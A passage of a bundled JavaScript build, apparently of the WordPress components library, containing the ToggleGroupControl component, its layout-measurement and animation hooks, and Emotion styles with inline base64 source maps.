3QgZW5jbG9zaW5nQm9yZGVycyA9ICggaXNCbG9jazogVG9nZ2xlR3JvdXBDb250cm9sUHJvcHNbICdpc0Jsb2NrJyBdICkgPT4ge1xuXHRjb25zdCBlbmNsb3NpbmdCb3JkZXIgPSBjc3NgXG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0YDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGlzQmxvY2sgJiYgZW5jbG9zaW5nQm9yZGVyIH1cblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Ym9yZGVyLWNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNDAwIF0gfTtcblx0XHR9XG5cblx0XHQmOmZvY3VzLXdpdGhpbiB7XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSBzb2xpZFxuXHRcdFx0XHQkeyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAxcHg7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IHRvZ2dsZUdyb3VwQ29udHJvbFNpemUgPSAoXG5cdHNpemU6IE5vbk51bGxhYmxlPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wc1sgJ3NpemUnIF0gPlxuKSA9PiB7XG5cdGNvbnN0IHN0eWxlcyA9IHtcblx0XHRkZWZhdWx0OiBjc3NgXG5cdFx0XHRoZWlnaHQ6IDM2cHg7XG5cdFx0YCxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IGNzc2Bcblx0XHRcdGhlaWdodDogNDBweDtcblx0XHRgLFxuXHR9O1xuXG5cdHJldHVybiBzdHlsZXNbIHNpemUgXTtcbn07XG5cbmV4cG9ydCBjb25zdCBibG9jayA9IGNzc2Bcblx0ZGlzcGxheTogZmxleDtcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgVmlzdWFsTGFiZWxXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0Ly8gTWFrZXMgdGhlIGlubGluZSBsYWJlbCBiZSB0aGUgY29ycmVjdCBoZWlnaHQsIGVxdWl2YWxlbnQgdG8gc2V0dGluZyBsaW5lLWhlaWdodDogMFxuXHRkaXNwbGF5OiBmbGV4O1xuYDtcbiJdfQ== */",
29580 toString: _EMOTION_STRINGIFIED_CSS_ERROR__10
29581 });
29582
29583 // packages/components/build-module/toggle-group-control/toggle-group-control/as-radio-group.mjs
29584 var import_compose20 = __toESM(require_compose(), 1);
29585 var import_element57 = __toESM(require_element(), 1);
29586 var import_i18n10 = __toESM(require_i18n(), 1);
29587
29588 // packages/components/build-module/toggle-group-control/context.mjs
29589 var import_element55 = __toESM(require_element(), 1);
29590 var ToggleGroupControlContext = (0, import_element55.createContext)({});
29591 ToggleGroupControlContext.displayName = "ToggleGroupControlContext";
29592 var useToggleGroupControlContext = () => (0, import_element55.useContext)(ToggleGroupControlContext);
29593 var context_default2 = ToggleGroupControlContext;
29594
29595 // packages/components/build-module/toggle-group-control/toggle-group-control/utils.mjs
29596 var import_compose19 = __toESM(require_compose(), 1);
29597 var import_element56 = __toESM(require_element(), 1);
29598 function useComputeControlledOrUncontrolledValue(valueProp) {
29599 const isInitialRenderRef = (0, import_element56.useRef)(true);
29600 const prevValueProp = (0, import_compose19.usePrevious)(valueProp);
29601 const prevIsControlledRef = (0, import_element56.useRef)(false);
29602 (0, import_element56.useEffect)(() => {
29603 if (isInitialRenderRef.current) {
29604 isInitialRenderRef.current = false;
29605 }
29606 }, []);
29607 const isControlled = prevIsControlledRef.current || !isInitialRenderRef.current && prevValueProp !== valueProp;
29608 (0, import_element56.useEffect)(() => {
29609 prevIsControlledRef.current = isControlled;
29610 }, [isControlled]);
29611 if (isControlled) {
29612 return {
29613 value: valueProp ?? "",
29614 defaultValue: void 0
29615 };
29616 }
29617 return {
29618 value: void 0,
29619 defaultValue: valueProp
29620 };
29621 }
29622
29623 // packages/components/build-module/toggle-group-control/toggle-group-control/as-radio-group.mjs
29624 var import_jsx_runtime114 = __toESM(require_jsx_runtime(), 1);
29625 function UnforwardedToggleGroupControlAsRadioGroup({
29626 children,
29627 isAdaptiveWidth,
29628 label,
29629 onChange: onChangeProp,
29630 size: size3,
29631 value: valueProp,
29632 id: idProp,
29633 setSelectedElement,
29634 ...otherProps
29635 }, forwardedRef) {
29636 const generatedId = (0, import_compose20.useInstanceId)(ToggleGroupControlAsRadioGroup, "toggle-group-control-as-radio-group");
29637 const baseId = idProp || generatedId;
29638 const {
29639 value,
29640 defaultValue: defaultValue2
29641 } = useComputeControlledOrUncontrolledValue(valueProp);
29642 const wrappedOnChangeProp = onChangeProp ? (v3) => {
29643 onChangeProp(v3 ?? void 0);
29644 } : void 0;
29645 const radio = useRadioStore({
29646 defaultValue: defaultValue2,
29647 value,
29648 setValue: wrappedOnChangeProp,
29649 rtl: (0, import_i18n10.isRTL)()
29650 });
29651 const selectedValue = useStoreState(radio, "value");
29652 const setValue = radio.setValue;
29653 (0, import_element57.useEffect)(() => {
29654 if (selectedValue === "") {
29655 radio.setActiveId(void 0);
29656 }
29657 }, [radio, selectedValue]);
29658 const groupContextValue = (0, import_element57.useMemo)(() => ({
29659 activeItemIsNotFirstItem: () => radio.getState().activeId !== radio.first(),
29660 baseId,
29661 isBlock: !isAdaptiveWidth,
29662 size: size3,
29663 // @ts-expect-error - This is wrong and we should fix it.
29664 value: selectedValue,
29665 // @ts-expect-error - This is wrong and we should fix it.
29666 setValue,
29667 setSelectedElement
29668 }), [baseId, isAdaptiveWidth, radio, selectedValue, setSelectedElement, setValue, size3]);
29669 return /* @__PURE__ */ (0, import_jsx_runtime114.jsx)(context_default2.Provider, {
29670 value: groupContextValue,
29671 children: /* @__PURE__ */ (0, import_jsx_runtime114.jsx)(RadioGroup, {
29672 store: radio,
29673 "aria-label": label,
29674 render: /* @__PURE__ */ (0, import_jsx_runtime114.jsx)(component_default, {}),
29675 ...otherProps,
29676 id: baseId,
29677 ref: forwardedRef,
29678 children
29679 })
29680 });
29681 }
29682 var ToggleGroupControlAsRadioGroup = (0, import_element57.forwardRef)(UnforwardedToggleGroupControlAsRadioGroup);
29683 ToggleGroupControlAsRadioGroup.displayName = "ToggleGroupControlAsRadioGroup";
29684
29685 // packages/components/build-module/toggle-group-control/toggle-group-control/as-button-group.mjs
29686 var import_compose21 = __toESM(require_compose(), 1);
29687 var import_element58 = __toESM(require_element(), 1);
29688 var import_jsx_runtime115 = __toESM(require_jsx_runtime(), 1);
29689 function UnforwardedToggleGroupControlAsButtonGroup({
29690 children,
29691 isAdaptiveWidth,
29692 label,
29693 onChange,
29694 size: size3,
29695 value: valueProp,
29696 id: idProp,
29697 setSelectedElement,
29698 ...otherProps
29699 }, forwardedRef) {
29700 const generatedId = (0, import_compose21.useInstanceId)(ToggleGroupControlAsButtonGroup, "toggle-group-control-as-button-group");
29701 const baseId = idProp || generatedId;
29702 const {
29703 value,
29704 defaultValue: defaultValue2
29705 } = useComputeControlledOrUncontrolledValue(valueProp);
29706 const [selectedValue, setSelectedValue] = useControlledValue({
29707 defaultValue: defaultValue2,
29708 value,
29709 onChange
29710 });
29711 const groupContextValue = (0, import_element58.useMemo)(() => ({
29712 baseId,
29713 value: selectedValue,
29714 setValue: setSelectedValue,
29715 isBlock: !isAdaptiveWidth,
29716 isDeselectable: true,
29717 size: size3,
29718 setSelectedElement
29719 }), [baseId, selectedValue, setSelectedValue, isAdaptiveWidth, size3, setSelectedElement]);
29720 return /* @__PURE__ */ (0, import_jsx_runtime115.jsx)(context_default2.Provider, {
29721 value: groupContextValue,
29722 children: /* @__PURE__ */ (0, import_jsx_runtime115.jsx)(component_default, {
29723 "aria-label": label,
29724 ...otherProps,
29725 ref: forwardedRef,
29726 role: "group",
29727 children
29728 })
29729 });
29730 }
29731 var ToggleGroupControlAsButtonGroup = (0, import_element58.forwardRef)(UnforwardedToggleGroupControlAsButtonGroup);
29732 ToggleGroupControlAsButtonGroup.displayName = "ToggleGroupControlAsButtonGroup";
29733
29734 // packages/components/build-module/utils/element-rect.mjs
29735 var import_element59 = __toESM(require_element(), 1);
29736 var import_compose22 = __toESM(require_compose(), 1);
29737 var NULL_ELEMENT_OFFSET_RECT = {
29738 element: void 0,
29739 top: 0,
29740 right: 0,
29741 bottom: 0,
29742 left: 0,
29743 width: 0,
29744 height: 0
29745 };
29746 function getElementOffsetRect(element) {
29747 const rect = element.getBoundingClientRect();
29748 if (rect.width === 0 || rect.height === 0) {
29749 return;
29750 }
29751 const offsetParent = element.offsetParent;
29752 const offsetParentRect = offsetParent?.getBoundingClientRect() ?? NULL_ELEMENT_OFFSET_RECT;
29753 const offsetParentScrollX = offsetParent?.scrollLeft ?? 0;
29754 const offsetParentScrollY = offsetParent?.scrollTop ?? 0;
29755 const computedWidth = parseFloat(getComputedStyle(element).width);
29756 const computedHeight = parseFloat(getComputedStyle(element).height);
29757 const scaleX = computedWidth / rect.width;
29758 const scaleY = computedHeight / rect.height;
29759 return {
29760 element,
29761 // To obtain the adjusted values for the position:
29762 // 1. Compute the element's position relative to the offset parent.
29763 // 2. Correct for the scale factor.
29764 // 3. Adjust for the scroll position of the offset parent.
29765 top: (rect.top - offsetParentRect?.top) * scaleY + offsetParentScrollY,
29766 right: (offsetParentRect?.right - rect.right) * scaleX - offsetParentScrollX,
29767 bottom: (offsetParentRect?.bottom - rect.bottom) * scaleY - offsetParentScrollY,
29768 left: (rect.left - offsetParentRect?.left) * scaleX + offsetParentScrollX,
29769 // Computed dimensions don't need any adjustments.
29770 width: computedWidth,
29771 height: computedHeight
29772 };
29773 }
29774 var POLL_RATE = 100;
29775 function useTrackElementOffsetRect(targetElement, deps = []) {
29776 const [indicatorPosition, setIndicatorPosition] = (0, import_element59.useState)(NULL_ELEMENT_OFFSET_RECT);
29777 const intervalRef = (0, import_element59.useRef)(void 0);
29778 const measure = (0, import_compose22.useEvent)(() => {
29779 if (targetElement && targetElement.isConnected) {
29780 const elementOffsetRect = getElementOffsetRect(targetElement);
29781 if (elementOffsetRect) {
29782 setIndicatorPosition(elementOffsetRect);
29783 clearInterval(intervalRef.current);
29784 return true;
29785 }
29786 } else {
29787 clearInterval(intervalRef.current);
29788 }
29789 return false;
29790 });
29791 const setElement = (0, import_compose22.useResizeObserver)(() => {
29792 if (!measure()) {
29793 requestAnimationFrame(() => {
29794 if (!measure()) {
29795 intervalRef.current = setInterval(measure, POLL_RATE);
29796 }
29797 });
29798 }
29799 });
29800 (0, import_element59.useLayoutEffect)(() => {
29801 setElement(targetElement);
29802 if (!targetElement) {
29803 setIndicatorPosition(NULL_ELEMENT_OFFSET_RECT);
29804 }
29805 }, [setElement, targetElement]);
29806 (0, import_element59.useLayoutEffect)(() => {
29807 measure();
29808 }, deps);
29809 return indicatorPosition;
29810 }
29811
29812 // packages/components/build-module/utils/hooks/use-animated-offset-rect.mjs
29813 var import_compose24 = __toESM(require_compose(), 1);
29814 var import_element61 = __toESM(require_element(), 1);
29815
29816 // packages/components/build-module/utils/hooks/use-on-value-update.mjs
29817 var import_compose23 = __toESM(require_compose(), 1);
29818 var import_element60 = __toESM(require_element(), 1);
29819 function useOnValueUpdate(value, onUpdate) {
29820 const previousValueRef = (0, import_element60.useRef)(value);
29821 const updateCallbackEvent = (0, import_compose23.useEvent)(onUpdate);
29822 (0, import_element60.useLayoutEffect)(() => {
29823 if (previousValueRef.current !== value) {
29824 updateCallbackEvent({
29825 previousValue: previousValueRef.current
29826 });
29827 previousValueRef.current = value;
29828 }
29829 }, [updateCallbackEvent, value]);
29830 }
29831
29832 // packages/components/build-module/utils/hooks/use-animated-offset-rect.mjs
29833 function useAnimatedOffsetRect(container, rect, {
29834 prefix: prefix2 = "subelement",
29835 dataAttribute = `${prefix2}-animated`,
29836 transitionEndFilter = () => true,
29837 roundRect = false
29838 } = {}) {
29839 const setProperties = (0, import_compose24.useEvent)(() => {
29840 Object.keys(rect).forEach((property) => property !== "element" && container?.style.setProperty(`--${prefix2}-${property}`, String(roundRect ? Math.floor(rect[property]) : rect[property])));
29841 });
29842 (0, import_element61.useLayoutEffect)(() => {
29843 setProperties();
29844 }, [rect, setProperties]);
29845 useOnValueUpdate(rect.element, ({
29846 previousValue
29847 }) => {
29848 if (rect.element && previousValue) {
29849 container?.setAttribute(`data-${dataAttribute}`, "");
29850 }
29851 });
29852 (0, import_element61.useLayoutEffect)(() => {
29853 function onTransitionEnd(event) {
29854 if (transitionEndFilter(event)) {
29855 container?.removeAttribute(`data-${dataAttribute}`);
29856 }
29857 }
29858 container?.addEventListener("transitionend", onTransitionEnd);
29859 return () => container?.removeEventListener("transitionend", onTransitionEnd);
29860 }, [dataAttribute, container, transitionEndFilter]);
29861 }
29862
29863 // packages/components/build-module/toggle-group-control/toggle-group-control/component.mjs
29864 var import_jsx_runtime116 = __toESM(require_jsx_runtime(), 1);
29865 function UnconnectedToggleGroupControl(props, forwardedRef) {
29866 const {
29867 __nextHasNoMarginBottom: _2,
29868 // Prevent passing this to the internal component
29869 __next40pxDefaultSize = false,
29870 __shouldNotWarnDeprecated36pxSize,
29871 className: className2,
29872 isAdaptiveWidth = false,
29873 isBlock = false,
29874 isDeselectable = false,
29875 label,
29876 hideLabelFromVision = false,
29877 help,
29878 onChange,
29879 size: size3 = "default",
29880 value,
29881 children,
29882 ...otherProps
29883 } = useContextSystem(props, "ToggleGroupControl");
29884 const normalizedSize = __next40pxDefaultSize && size3 === "default" ? "__unstable-large" : size3;
29885 const [selectedElement, setSelectedElement] = (0, import_element62.useState)();
29886 const [controlElement, setControlElement] = (0, import_element62.useState)();
29887 const refs = (0, import_compose25.useMergeRefs)([setControlElement, forwardedRef]);
29888 const selectedRect = useTrackElementOffsetRect(value !== null && value !== void 0 ? selectedElement : void 0);
29889 useAnimatedOffsetRect(controlElement, selectedRect, {
29890 prefix: "selected",
29891 dataAttribute: "indicator-animated",
29892 transitionEndFilter: (event) => event.pseudoElement === "::before",
29893 roundRect: false
29894 });
29895 const cx3 = useCx();
29896 const classes = (0, import_element62.useMemo)(() => cx3(toggleGroupControl({
29897 isBlock,
29898 isDeselectable,
29899 size: normalizedSize
29900 }), isBlock && block3, className2), [className2, cx3, isBlock, isDeselectable, normalizedSize]);
29901 const MainControl = isDeselectable ? ToggleGroupControlAsButtonGroup : ToggleGroupControlAsRadioGroup;
29902 maybeWarnDeprecated36pxSize({
29903 componentName: "ToggleGroupControl",
29904 size: size3,
29905 __next40pxDefaultSize,
29906 __shouldNotWarnDeprecated36pxSize
29907 });
29908 return /* @__PURE__ */ (0, import_jsx_runtime116.jsxs)(base_control_default, {
29909 help,
29910 children: [!hideLabelFromVision && /* @__PURE__ */ (0, import_jsx_runtime116.jsx)(VisualLabelWrapper, {
29911 children: /* @__PURE__ */ (0, import_jsx_runtime116.jsx)(base_control_default.VisualLabel, {
29912 children: label
29913 })
29914 }), /* @__PURE__ */ (0, import_jsx_runtime116.jsx)(MainControl, {
29915 ...otherProps,
29916 setSelectedElement,
29917 className: classes,
29918 isAdaptiveWidth,
29919 label,
29920 onChange,
29921 ref: refs,
29922 size: normalizedSize,
29923 value,
29924 children
29925 })]
29926 });
29927 }
29928 var ToggleGroupControl = contextConnect(UnconnectedToggleGroupControl, "ToggleGroupControl");
29929 var component_default12 = ToggleGroupControl;
29930
29931 // packages/components/build-module/toggle-group-control/toggle-group-control-option/component.mjs
29932 var import_element64 = __toESM(require_element(), 1);
29933
29934 // packages/components/build-module/toggle-group-control/toggle-group-control-option-base/component.mjs
29935 var import_compose26 = __toESM(require_compose(), 1);
29936 var import_element63 = __toESM(require_element(), 1);
29937
29938 // packages/components/build-module/toggle-group-control/toggle-group-control-option-base/styles.mjs
29939 var styles_exports6 = {};
29940 __export(styles_exports6, {
29941 ButtonContentView: () => ButtonContentView,
29942 LabelView: () => LabelView,
29943 buttonView: () => buttonView,
29944 labelBlock: () => labelBlock
29945 });
29946 function _EMOTION_STRINGIFIED_CSS_ERROR__11() {
29947 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
29948 }
29949 var LabelView = /* @__PURE__ */ createStyled("div", false ? {
29950 target: "et6ln9s1"
29951 } : {
29952 target: "et6ln9s1",
29953 label: "LabelView"
29954 })(false ? {
29955 name: "sln1fl",
29956 styles: "display:inline-flex;max-width:100%;min-width:0;position:relative"
29957 } : {
29958 name: "sln1fl",
29959 styles: "display:inline-flex;max-width:100%;min-width:0;position:relative/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFlbUMiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHtcblx0VG9nZ2xlR3JvdXBDb250cm9sUHJvcHMsXG5cdFRvZ2dsZUdyb3VwQ29udHJvbE9wdGlvbkJhc2VQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgTGFiZWxWaWV3ID0gc3R5bGVkLmRpdmBcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdG1heC13aWR0aDogMTAwJTtcblx0bWluLXdpZHRoOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgbGFiZWxCbG9jayA9IGNzc2Bcblx0ZmxleDogMTtcbmA7XG5cbmV4cG9ydCBjb25zdCBidXR0b25WaWV3ID0gKCB7XG5cdGlzRGVzZWxlY3RhYmxlLFxuXHRpc0ljb24sXG5cdGlzUHJlc3NlZCxcblx0c2l6ZSxcbn06IFBpY2s8IFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLCAnaXNEZXNlbGVjdGFibGUnIHwgJ3NpemUnID4gJlxuXHRQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xPcHRpb25CYXNlUHJvcHMsICdpc0ljb24nID4gJiB7XG5cdFx0aXNQcmVzc2VkPzogYm9vbGVhbjtcblx0fSApID0+IGNzc2Bcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YXBwZWFyYW5jZTogbm9uZTtcblx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdGJvcmRlcjogbm9uZTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDcwMCBdIH07XG5cdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0aGVpZ2h0OiAxMDAlO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bGluZS1oZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IG5vbmU7XG5cdHBhZGRpbmc6IDAgMTJweDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb246XG5cdFx0XHRjb2xvciAkeyBDT05GSUcudHJhbnNpdGlvbkR1cmF0aW9uRmFzdCB9IGxpbmVhcixcblx0XHRcdGZvbnQtd2VpZ2h0IDYwbXMgbGluZWFyO1xuXHR9XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0ei1pbmRleDogMjtcblxuXHQmOjotbW96LWZvY3VzLWlubmVyIHtcblx0XHRib3JkZXI6IDA7XG5cdH1cblxuXHQmW2Rpc2FibGVkXSxcblx0JlthcmlhLWRpc2FibGVkPSd0cnVlJ10ge1xuXHRcdG9wYWNpdHk6IDAuNDtcblx0XHRjdXJzb3I6IGRlZmF1bHQ7XG5cdH1cblxuXHQmOmhvdmVyOm5vdCggW2Rpc2FibGVkXSApOm5vdCggW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSApIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0fVxuXG5cdCR7IGlzRGVzZWxlY3RhYmxlICYmIGRlc2VsZWN0YWJsZSB9XG5cdCR7IGlzSWNvbiAmJiBpc0ljb25TdHlsZXMoIHsgc2l6ZSB9ICkgfVxuXHQkeyBpc1ByZXNzZWQgJiYgcHJlc3NlZCB9XG5gO1xuXG5jb25zdCBwcmVzc2VkID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5gO1xuXG5jb25zdCBkZXNlbGVjdGFibGUgPSBjc3NgXG5cdCY6Zm9jdXMge1xuXHRcdG91dGxpbmU6ICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0b3V0bGluZS1vZmZzZXQ6IDJweDtcblxuXHRcdC8vIEhpZGUgb3ZlcmxhcHBpbmcgYm9yZGVyXG5cdFx0JlthcmlhLXByZXNzZWQ9J2ZhbHNlJ10ge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0XHRcdGJveC1zaGFkb3c6IDAgMCAwIDJweCAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEJ1dHRvbkNvbnRlbnRWaWV3ID0gc3R5bGVkLmRpdmBcblx0ZGlzcGxheTogZmxleDtcblx0Zm9udC1zaXplOiAkeyBDT05GSUcuZm9udFNpemUgfTtcblx0bGluZS1oZWlnaHQ6IDE7XG5gO1xuXG5jb25zdCBpc0ljb25TdHlsZXMgPSAoIHtcblx0c2l6ZSA9ICdkZWZhdWx0Jyxcbn06IFBpY2s8IFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLCAnc2l6ZScgPiApID0+IHtcblx0Y29uc3QgaWNvbkJ1dHRvblNpemVzID0ge1xuXHRcdGRlZmF1bHQ6ICczNHB4Jyxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6ICczOHB4Jyxcblx0fTtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGhlaWdodDogJHsgaWNvbkJ1dHRvblNpemVzWyBzaXplIF0gfTtcblx0XHRhc3BlY3QtcmF0aW86IDE7XG5cdFx0cGFkZGluZy1sZWZ0OiAwO1xuXHRcdHBhZGRpbmctcmlnaHQ6IDA7XG5cdGA7XG59O1xuIl19 */",
29960 toString: _EMOTION_STRINGIFIED_CSS_ERROR__11
29961 });
29962 var labelBlock = false ? {
29963 name: "82a6rk",
29964 styles: "flex:1"
29965 } : {
29966 name: "1sypmw-labelBlock",
29967 styles: "flex:1;label:labelBlock;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzQjZCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7XG5cdFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLFxuXHRUb2dnbGVHcm91cENvbnRyb2xPcHRpb25CYXNlUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IExhYmVsVmlldyA9IHN0eWxlZC5kaXZgXG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRtYXgtd2lkdGg6IDEwMCU7XG5cdG1pbi13aWR0aDogMDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuYDtcblxuZXhwb3J0IGNvbnN0IGxhYmVsQmxvY2sgPSBjc3NgXG5cdGZsZXg6IDE7XG5gO1xuXG5leHBvcnQgY29uc3QgYnV0dG9uVmlldyA9ICgge1xuXHRpc0Rlc2VsZWN0YWJsZSxcblx0aXNJY29uLFxuXHRpc1ByZXNzZWQsXG5cdHNpemUsXG59OiBQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ2lzRGVzZWxlY3RhYmxlJyB8ICdzaXplJyA+ICZcblx0UGljazwgVG9nZ2xlR3JvdXBDb250cm9sT3B0aW9uQmFzZVByb3BzLCAnaXNJY29uJyA+ICYge1xuXHRcdGlzUHJlc3NlZD86IGJvb2xlYW47XG5cdH0gKSA9PiBjc3NgXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFwcGVhcmFuY2U6IG5vbmU7XG5cdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRib3JkZXI6IG5vbmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNYU21hbGwgfTtcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSB9O1xuXHRmaWxsOiBjdXJyZW50Q29sb3I7XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGhlaWdodDogMTAwJTtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdGxpbmUtaGVpZ2h0OiAxMDAlO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwYWRkaW5nOiAwIDEycHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHR0cmFuc2l0aW9uOlxuXHRcdFx0Y29sb3IgJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBsaW5lYXIsXG5cdFx0XHRmb250LXdlaWdodCA2MG1zIGxpbmVhcjtcblx0fVxuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdHotaW5kZXg6IDI7XG5cblx0Jjo6LW1vei1mb2N1cy1pbm5lciB7XG5cdFx0Ym9yZGVyOiAwO1xuXHR9XG5cblx0JltkaXNhYmxlZF0sXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0Y3Vyc29yOiBkZWZhdWx0O1xuXHR9XG5cblx0Jjpob3Zlcjpub3QoIFtkaXNhYmxlZF0gKTpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHQkeyBpc0Rlc2VsZWN0YWJsZSAmJiBkZXNlbGVjdGFibGUgfVxuXHQkeyBpc0ljb24gJiYgaXNJY29uU3R5bGVzKCB7IHNpemUgfSApIH1cblx0JHsgaXNQcmVzc2VkICYmIHByZXNzZWQgfVxuYDtcblxuY29uc3QgcHJlc3NlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdGZvbnQtd2VpZ2h0OiAkeyBDT05GSUcuZm9udFdlaWdodE1lZGl1bSB9O1xuYDtcblxuY29uc3QgZGVzZWxlY3RhYmxlID0gY3NzYFxuXHQmOmZvY3VzIHtcblx0XHRvdXRsaW5lOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdG91dGxpbmUtb2Zmc2V0OiAycHg7XG5cblx0XHQvLyBIaWRlIG92ZXJsYXBwaW5nIGJvcmRlclxuXHRcdCZbYXJpYS1wcmVzc2VkPSdmYWxzZSddIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IENPTE9SUy51aS5iYWNrZ3JvdW5kIH07XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCAycHggJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBCdXR0b25Db250ZW50VmlldyA9IHN0eWxlZC5k